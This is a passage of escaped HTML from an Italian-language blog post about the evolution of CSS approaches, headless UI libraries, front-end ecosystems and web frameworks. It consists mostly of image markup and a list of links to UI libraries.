class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:900px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/4b5a778397dfaff9d71ec7a23e3906f3/1cfc2/react-birth.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:33.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;133\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20133\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M199%2072a718%20718%200%20002%200%20718%20718%200%2000-2%200M26%20106l83%201a1303%201303%200%20000-2l-83%201m225%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/4b5a778397dfaff9d71ec7a23e3906f3/c85cb/react-birth.webp 300w,/static/4b5a778397dfaff9d71ec7a23e3906f3/e88ff/react-birth.webp 600w,/static/4b5a778397dfaff9d71ec7a23e3906f3/131f1/react-birth.webp 900w&quot; sizes=&quot;(max-width: 900px) 100vw, 900px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/4b5a778397dfaff9d71ec7a23e3906f3/5a46d/react-birth.png 300w,/static/4b5a778397dfaff9d71ec7a23e3906f3/0a47e/react-birth.png 600w,/static/4b5a778397dfaff9d71ec7a23e3906f3/1cfc2/react-birth.png 900w&quot; sizes=&quot;(max-width: 900px) 100vw, 900px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Immagine 1 - La nascita di React&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/4b5a778397dfaff9d71ec7a23e3906f3/1cfc2/react-birth.png&quot; title=&quot;Immagine 1 - La nascita di React&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Immagine 1 - La nascita di React&lt;/figcaption&gt;
  &lt;/figure&gt; &lt;p&gt;Si capisce presto che è inutile mantenere separato il CSS dai componenti, e così nascono gli Styled Components. Tuttavia, nonostante il loro iniziale successo, ci si rende conto che se è necessario comunque creare il componente (nell&amp;#x27;esempio, DropdownItem), tanto vale definire contestualmente anche il CSS. Si scopre così una sorta di &amp;quot;separation of concerns&amp;quot; fasulla: si scrivono componenti puramente orientati all&amp;#x27;UI e componenti di logica che però si trovano nella stessa pagina. L&amp;#x27;approccio CSS-in-JS si rivela un insuccesso.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:900px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ea8e3b1dd2340fb7d1c7c8dbbeb143a6/1cfc2/styled-components.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:33.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;133\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20133\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M304%208c-2%202%205%204%2013%203h4l3-1h14V9c0-2-32-2-34-1M199%2072a672%20672%200%20002%200%20672%20672%200%2000-2%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/ea8e3b1dd2340fb7d1c7c8dbbeb143a6/c85cb/styled-components.webp 300w,/static/ea8e3b1dd2340fb7d1c7c8dbbeb143a6/e88ff/styled-components.webp 600w,/static/ea8e3b1dd2340fb7d1c7c8dbbeb143a6/131f1/styled-components.webp 900w&quot; sizes=&quot;(max-width: 900px) 100vw, 900px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/ea8e3b1dd2340fb7d1c7c8dbbeb143a6/5a46d/styled-components.png 300w,/static/ea8e3b1dd2340fb7d1c7c8dbbeb143a6/0a47e/styled-components.png 600w,/static/ea8e3b1dd2340fb7d1c7c8dbbeb143a6/1cfc2/styled-components.png 900w&quot; sizes=&quot;(max-width: 900px) 100vw, 900px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Immagine 2 - Funzionamento degli Styled Components&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/ea8e3b1dd2340fb7d1c7c8dbbeb143a6/1cfc2/styled-components.png&quot; title=&quot;Immagine 2 - Funzionamento degli Styled Components&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Immagine 2 - Funzionamento degli Styled Components&lt;/figcaption&gt;
  &lt;/figure&gt; &lt;p&gt;Arriviamo ad oggi dove migliaia di librerie semplificano la vita degli sviluppatori. Si sta rovesciando il paradigma: il problema non è più dove posizionare il CSS, ma il linguaggio stesso. Nasce Tailwind, che rivoluziona il modo in cui vengono stilizzati i componenti. Non c&amp;#x27;è più bisogno di un foglio di stile dove mettere le classi, ne vengono utilizzate di predefinite fornite direttamente dalla libreria stessa, immediatamente utilizzabili nell&amp;#x27;html. Si è giunti a una sorta di &amp;quot;merge of concerns&amp;quot;, dove stile e scripting vengono incorporati direttamente nella DOM. Nonostante possa sembrare un&amp;#x27;eresia per uno sviluppatore CSS esperto, la situazione è chiara: non sono più le librerie che si adattano alle best practices, ma piuttosto viceversa.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:900px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/6e5d4ba3a5ea04010f63a5649af63e53/1cfc2/tailwind.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:33.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;133\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20133\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M199%2072a672%20672%200%20002%200%20672%20672%200%2000-2%200M31%20107l80%201a1264%201264%200%20000-2c-54%200-81%200-80%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/6e5d4ba3a5ea04010f63a5649af63e53/c85cb/tailwind.webp 300w,/static/6e5d4ba3a5ea04010f63a5649af63e53/e88ff/tailwind.webp 600w,/static/6e5d4ba3a5ea04010f63a5649af63e53/131f1/tailwind.webp 900w&quot; sizes=&quot;(max-width: 900px) 100vw, 900px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/6e5d4ba3a5ea04010f63a5649af63e53/5a46d/tailwind.png 300w,/static/6e5d4ba3a5ea04010f63a5649af63e53/0a47e/tailwind.png 600w,/static/6e5d4ba3a5ea04010f63a5649af63e53/1cfc2/tailwind.png 900w&quot; sizes=&quot;(max-width: 900px) 100vw, 900px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Immagine 3 - Tailwind&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/6e5d4ba3a5ea04010f63a5649af63e53/1cfc2/tailwind.png&quot; title=&quot;Immagine 3 - Tailwind&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Immagine 3 - Tailwind&lt;/figcaption&gt;
  &lt;/figure&gt; &lt;p&gt;Spesso, gli sviluppatori integrano e utilizzano le librerie di stile in modo completo, ma raramente riescono a conciliarle con la necessità di accessibilità e user experience. Per colmare questa lacuna, sono state create le librerie Headless/Unstyled, che forniscono solamente il comportamento dei componenti, ovvero la logica necessaria per garantire agli utenti un&amp;#x27;esperienza di alta qualità e tutte le funzionalità per l&amp;#x27;accessibilità. Questo consente ai programmatori di concentrarsi esclusivamente sullo stile e sull&amp;#x27;integrazione nell&amp;#x27;applicazione, garantendo comunque un livello eccellente di accessibilità e user experience.
&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:900px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/fb87e8192199896da322e25840157a65/1cfc2/headless.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:33.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;133\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20133\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M199%2071a639%20639%200%20002%200%20639%20639%200%2000-2%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/fb87e8192199896da322e25840157a65/c85cb/headless.webp 300w,/static/fb87e8192199896da322e25840157a65/e88ff/headless.webp 600w,/static/fb87e8192199896da322e25840157a65/131f1/headless.webp 900w&quot; sizes=&quot;(max-width: 900px) 100vw, 900px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/fb87e8192199896da322e25840157a65/5a46d/headless.png 300w,/static/fb87e8192199896da322e25840157a65/0a47e/headless.png 600w,/static/fb87e8192199896da322e25840157a65/1cfc2/headless.png 900w&quot; sizes=&quot;(max-width: 900px) 100vw, 900px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Immagine 4 - Librerie Headless &quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/fb87e8192199896da322e25840157a65/1cfc2/headless.png&quot; title=&quot;Immagine 4 - Librerie Headless &quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Immagine 4 - Librerie Headless &lt;/figcaption&gt;
  &lt;/figure&gt; &lt;/p&gt;&lt;p&gt;Di seguito un elenco delle risorse più famose/valide per categoria:&lt;/p&gt;&lt;p&gt;Utility Libraries&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://tailwindcss.com&quot;&gt;Tailwind (CSS)&lt;/a&gt;&lt;/p&gt;&lt;p&gt;CSS-in-JS&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://styled-components.com/docs&quot;&gt;Styled Components (React)&lt;/a&gt;, &lt;a href=&quot;https://emotion.sh/docs/introduction&quot;&gt;Emotion (React)&lt;/a&gt;, &lt;a href=&quot;https://github.com/styled-system/styled-system&quot;&gt;Styled System (React)&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Headless/unstyled UI Libraries&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://mui.com/base-ui/getting-started&quot;&gt;MUI Base UI (React)&lt;/a&gt;, &lt;a href=&quot;https://ariakit.org/&quot;&gt;Ariakit (by Vercel; React)&lt;/a&gt;, &lt;a href=&quot;https://headlessui.com&quot;&gt;Headless UI (by Tailwind Labs; React, Vue)&lt;/a&gt;, &lt;a href=&quot;https://github.com/radix-ui/primitives&quot;&gt;Radix Primitives (ex Radix UI, by WorkOS; React)&lt;/a&gt;, &lt;a href=&quot;https://tanstack.com&quot;&gt;TanStack Query, TanStack Table, TanStack Virtual (React, cross)&lt;/a&gt;&lt;/p&gt;&lt;p&gt;UI Kits&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://getbootstrap.com/&quot;&gt;Bootstrap (CSS, Vanilla)&lt;/a&gt;, &lt;a href=&quot;https://ng-bootstrap.github.io&quot;&gt;ng-bootstrap (Angular)&lt;/a&gt;, &lt;a href=&quot;https://react-bootstrap.github.io&quot;&gt;React Bootstrap (React)&lt;/a&gt;, &lt;a href=&quot;https://reactstrap.github.io&quot;&gt;Reactstrap (React)&lt;/a&gt;, &lt;a href=&quot;https://liferay.design/lexicon&quot;&gt;Lexicon (by Liferay)&lt;/a&gt;, &lt;a href=&quot;https://clayui.com&quot;&gt;Clay UI (by Liferay, official; CSS, React)&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://m3.material.io&quot;&gt;Material Design (by Google)&lt;/a&gt; :
&lt;a href=&quot;https://materializecss.com&quot;&gt;Materialize CSS (Vanilla)&lt;/a&gt;, &lt;a href=&quot;https://mui.com/material-ui/getting-started&quot;&gt;MUI Material UI (React)&lt;/a&gt;, &lt;a href=&quot;https://github.com/material-components/material-web#readme&quot;&gt;Material Web (by Google, official; Web Components, CSS)&lt;/a&gt;, &lt;a href=&quot;https://material.angular.io&quot;&gt;Angular Material (Angular)&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://ionicframework.com&quot;&gt;Ionic Framework (by Ionic; React, Angular, Vue, Web Components)&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Ecosystem-agnostic component infrastructure&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.builder.io&quot;&gt;Builder.io (PAAS)&lt;/a&gt;, &lt;a href=&quot;https://github.com/BuilderIO/mitosis&quot;&gt;Mitosis by Builder.io&lt;/a&gt;, &lt;a href=&quot;https://bit.dev&quot;&gt;Bit&lt;/a&gt;, &lt;a href=&quot;https://stenciljs.com&quot;&gt;Stencil.js by Ionic&lt;/a&gt;, &lt;a href=&quot;https://open-ui.org&quot;&gt;Open-UI by Microsoft&lt;/a&gt;&lt;/p&gt;&lt;h2 id=&quot;ecosistemi-front-end-lunica-soluzione-efficace&quot;&gt;Ecosistemi front-end L&amp;#x27;unica soluzione efficace?&lt;/h2&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/55566a11e1f2f755d5dbda6cf08ab716/29114/ecosystems.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:56.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;225\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20225\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M80%2026l-1%2025%201%2024h23l25-1%201-24c0-22%200-23-2-24H80m101%200c-2%202-1%2046%201%2048%202%203%2045%203%2047%200%202-1%203-44%201-47-1-2-2-2-24-2l-25%201m96%201v25l1%2023h23l25-1c1-1%202-43%200-46%200-3-48-3-49-1M92%2036v5c0%202%200%203-3%204-6%203-7%207%200%2011%203%201%203%202%202%204%200%204%202%208%205%208l5-2%203-2%203%202c5%204%209%201%209-5%200-3%200-4%203-6%205-2%205-6%201-9l-3-2-1-3c1-7-4-10-10-6-2%202-2%202-5%200-4-3-8-3-9%201m193%201l17%2028%2017-29-7-1c-6%200-7%200-8%203l-2%203-2-3c-2-3-2-3-9-3-5%200-6%200-6%202m-87%201c-7%203-7%203-6%2015l1%206%206%203%207%203%206-3%206-3%201-7c2-12%202-11-5-13-9-3-9-3-16-1m3%209l-4%2010c0%201%203%200%204-2%200-2%201-2%205-2%203%200%204%200%205%202%200%202%203%203%203%201l-4-9-5-8-4%208m-101-1c-3%203-3%204-2%207%203%204%209%204%2011%200%203-6-5-12-9-7M73%2080l-1%2013%201%2011h62V80l-31-1-31%201m91%200c-1%201-2%2019%200%2022%200%202%205%202%2042%202h41V80l-41-1-42%201m107%200l-1%2013%201%2011h62V80l-31-1-31%201m-79%2010c-3%203-1%209%203%209l2%201-14%201h-14l13%201h37l24-1h-44v-6c0-4%200-6-1-5l-1%204c0%204-4%206-5%201%200-2%200-3%202-4l1-2-3%201M79%20123l-1%2024c0%2020%200%2022%202%2023%202%202%2044%203%2047%201%202-1%202-2%202-24l-1-25-25-1c-22%200-23%200-24%202m102-1l-1%2025c0%2022%200%2023%202%2024%203%202%2046%201%2047-1%202-2%203-46%201-48s-47-2-49%200m97%200c-2%202-1%2047%200%2049%202%201%2046%202%2048%200s2-47%200-49c-2-1-48-2-48%200m-173%207c-4%201-14%208-15%2010v19c3%207%2010%208%2019%202%208-4%209-6%209-13v-9c0-6-7-11-13-9m94%205c-3%203-3%203%203%204%205%200%2011%201%2016%205l2-3%202-3-6-3c-8-4-14-4-17%200m-99%203c-4%203-6%204-6%206%200%206%205%209%2011%205%204-2%207%200%203%203-6%205-9%205-11%203-3-3-4-3-4%200s3%206%206%206%2012-5%2014-8c4-6-4-12-11-7h-3c-2-1-1-3%205-6l4-2%203%202%203%202v-2c1-6-6-8-14-2m-33%2039v13l1%2011h35l37-1v-23c-2-2-72-2-73%200m97%200c-1%201-2%2019%200%2022%200%202%205%202%2042%202h41v-24l-41-1-42%201m113%200l-1%2012v12h52v-24l-26-1-25%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/55566a11e1f2f755d5dbda6cf08ab716/c85cb/ecosystems.webp 300w,/static/55566a11e1f2f755d5dbda6cf08ab716/e88ff/ecosystems.webp 600w,/static/55566a11e1f2f755d5dbda6cf08ab716/92f8c/ecosystems.webp 1200w,/static/55566a11e1f2f755d5dbda6cf08ab716/62ed8/ecosystems.webp 1800w,/static/55566a11e1f2f755d5dbda6cf08ab716/882b9/ecosystems.webp 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/55566a11e1f2f755d5dbda6cf08ab716/5a46d/ecosystems.png 300w,/static/55566a11e1f2f755d5dbda6cf08ab716/0a47e/ecosystems.png 600w,/static/55566a11e1f2f755d5dbda6cf08ab716/c1b63/ecosystems.png 1200w,/static/55566a11e1f2f755d5dbda6cf08ab716/d61c2/ecosystems.png 1800w,/static/55566a11e1f2f755d5dbda6cf08ab716/29114/ecosystems.png 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Immagine 5 - Gli Ecosistemi più conosciuti  &quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/55566a11e1f2f755d5dbda6cf08ab716/c1b63/ecosystems.png&quot; title=&quot;Immagine 5 - Gli Ecosistemi più conosciuti  &quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Immagine 5 - Gli Ecosistemi più conosciuti  &lt;/figcaption&gt;
  &lt;/figure&gt; &lt;p&gt;Il fulcro dello sviluppo frontend odierno ruota attorno all&amp;#x27;adozione di un ecosistema come solida base per qualsiasi progetto. Per ecosistema frontend, si intende uno dei principali framework JavaScript come React, Angular, Solid e tutte le risorse collegate, tra cui documentazione, tutorial e community. &lt;/p&gt;&lt;p&gt;L&amp;#x27;utilizzo di un ecosistema risulta imprescindibile in ogni progetto a causa delle sue caratteristiche uniche che semplificano notevolmente la vita degli sviluppatori.&lt;/p&gt;&lt;p&gt;Innanzitutto, gli ecosistemi mettono a disposizione tutti gli strumenti necessari per la creazione di un&amp;#x27;applicazione in un unico ambiente, consentendo poi di integrare le funzionalità necessarie attraverso librerie compatibili. Un ulteriore vantaggio è la sicurezza e la conformità agli standard, che vengono implementate automaticamente nel progetto e si mantengono aggiornate al costo di seguire le versioni più recenti.&lt;/p&gt;&lt;p&gt;Un altro beneficio è la capacità di scrivere codice che produce eseguibili cross-browser, liberando lo sviluppatore da molte delle sfide e delle problematiche legate alla compatibilità tra browser. Infine, l&amp;#x27;accesso a vaste community costituisce l&amp;#x27;ennesimo punto di forza. Nel caso si riscontrino problemi, basta cercare online per trovare soluzioni, e se un problema non è stato ancora affrontato da qualcun altro, è possibile porre domande sui forum dedicati, usufruendo dell&amp;#x27;esperienza collettiva di altri sviluppatori.&lt;/p&gt;&lt;h2 id=&quot;web-frameworks-convergenza-e-dx&quot;&gt;Web Frameworks Convergenza e DX&lt;/h2&gt;&lt;p&gt;Oltre all&amp;#x27;impiego di un ecosistema frontend, l&amp;#x27;adozione di un web framework offre agli sviluppatori la possibilità di introdurre strati di complessità nella loro applicazione senza eccessive difficoltà, mantenendo il progetto ergonomico.&lt;/p&gt;&lt;p&gt;In particolare, l&amp;#x27;integrazione di un web framework agevola il rendering lato client o lato server, senza la necessità di partire da zero nella creazione della logica. Essi mettono a disposizione funzioni e hook per il recupero dei dati, che possono essere facilmente integrati nel codice. Inoltre facilitano la gestione del routing dell&amp;#x27;applicazione fornendo funzioni e codice pronto. In aggiunta, i framework semplificano l&amp;#x27;integrazione di librerie e kit di interfaccia utente (UI kit) e offrono un processo di build e configurazione agevolato (un esempio evidente è la quasi deprecazione di create-react-app).&lt;/p&gt;&lt;p&gt;In questo panorama si osserva una marcata convergenza. Sebbene ciascun framework sia stato originariamente concepito per affrontare esigenze specifiche, è diventato chiaro che ciò che veniva risolto da uno mancava in un altro. Di conseguenza, oggi tutti i principali framework hanno allineato le proprie funzionalità, integrando quasi tutti le stesse caratteristiche essenziali, come evidenziato nell&amp;#x27;elenco seguente.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/29114/web-frameworks-features.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:56.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;225\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20225\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M138%2029v7l1%206h39V28h-20l-20%201m87%206v7h40V28h-40v7M91%2030v6l1%205h13c16%200%2016%200%2016-6s0-6-15-6l-15%201m32%200l-1%205v5h10l1-5v-5l-5-1-5%201m16%2016l-1%207%201%207h39V46h-39m43%200v14h40v-6l-1-7c-1-1-38-2-39-1m43%201v7l1%206h39v-7l-1-7c-15-1-38%200-39%201m54-1l-1%207%201%207h39V46h-39M95%2052c0%207%200%207%2013%207%2012%200%2013-1%2013-6%200-6%200-6-14-6H95v5m28-4l-1%205v5h11V48l-5-1-5%201m15%2016v8l1%206h39V64l-20-1-20%201m44%206l1%208h18c21%200%2021%200%2021-7%200-8%201-8-21-8h-19v7m43-6v8l1%206h39V64l-20-1-20%201M94%2070l1%206h12c14%200%2015%200%2014-8v-2l-14-1H94v5m28%200l1%206h10V65h-11v5m-65-2l-1%204v3h27v-5h-2l-1-1v5c-1%200-2-1-1-2%200-2%200-2-1%200h-2l1-2-1-2c-1-1-1%200-1%203s0%203-1%201c0-4-4-4-3%200l-1%202-2-3-1-2v3l-1%202-1-2c0-2-3-4-4-2h-2v2l-1%201c-2-1-1-4%201-4v-1h-2m81%2014v7l1%206h39V81h-20l-20%201m44%206v7h40V82l-20-1h-20v7m-84-5v6l1%205h10l11-1V83c-2-2-21-1-22%200m24%205l1%206h10V83h-11v5m-80%201v4h23c22%200%2023%200%2023-2l-1-2v-1c1-1%201-1-1-1s-2%200-2%203v2l-1-3c0-1%200-2-1-1l-1%202-1-2c-1-1-1%200-1%201%201%203%200%203-2%203-3%200-4%200-3-3%200-1%200-2-1-1l-1%202-1-2c-1-1-1%200-1%201v3l-1-2c0-2-1-3-2-3l-2%201-1%201c-2%200-2%200-1%201l-1%201h-1v1c-1%200-2-1-1-3%200-1%200-2-1-1l-1%202-1-2c-1-1-1%200-1%201%201%202%200%203-1%203v-1l-1-1-3-2-3-1c-1%201-2%200-2-1-2-3-4-1-4%203m96%2017l1%207h39V99h-40v7m87%200v7h40V99h-40v7m-115-5l-1%205v5h11v-10l-5-1-5%201m13%200l-1%205v5h11v-10l-5-1-5%201m15%2016v8l1%206h39v-14l-20-1-20%201m45%200l-1%207v7h19c22%200%2021%200%2021-7%200-8%201-8-20-8l-19%201m-61%202v6l1%204h10v-11h-5l-6%201m-47%205v3l14%201c13%200%2014%200%2013-2-2%200-2-1-1-1l1-1h-1l-1-1v-1l-1%203-2%202c-2%200-3-2-1-4v-1c-1%200-2%201-2%203l-2%202c-2%200-3-2%200-2%202-1%201-4-1-4s-2%201-2%203%200%203-2%202v-1l1-1h-1l-1-1h-3l-1%201c-1%202-1%202-1%200%200-1%200-2-1-1l-1-1h-2l-1%201-1-2v3m64%2011l-1%207v6h40v-14h-19l-20%201m43%206v7h40v-13l-20-1h-20v7m43%200v7h40v-13l-20-1h-20v7m-103%200l1%206h10v-11h-11v5m16%2012v7l1%206h39v-14h-20l-20%201m44%206v7h40v-13l-20-1h-20v7m43%200v7h40v-14h-40v7m-103-5v6l1%205h10v-11l-5-1-6%201m17%2016l-1%207%201%207h39v-14l-19-1-20%201m44%200l-1%207v7h19c17%200%2020%200%2020-2v-12c-1-1-37-2-38%200m42%200v8l1%206h39v-7l-1-7c-3-2-38-1-39%200m-86%2018l-1%207c0%207-1%207%2022%207h18v-14l-20-1-19%201m43%206l1%208h18c21%200%2021%200%2021-7%200-8%201-8-21-8h-19v7m-94%201l-1%204h19c11%200%2019%200%2018-1v-5l-1%201h-1c-2-1-2-1-1%202%201%202%201%202-1%202-1%200-2-1-2-3l-1-2v3l-1%202-1-2c0-4-4-4-4%200l-1%203v-3c0-2%200-3-2-3l-1%203-2%202v-2l-1-2h-1v1c0%203-2%204-3%202v-1l1-1h-1l-1-1v-1l-1%203-1%202-2-5-1-2-1%203c1%204-1%205-3%203v-6c-1%200-2%201-2%204m50%2011v7l1%206h39v-14h-20l-20%201m44%206v7h40v-13l-20-1h-20v7m43%200v7h40v-13l-20-1h-20v7\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
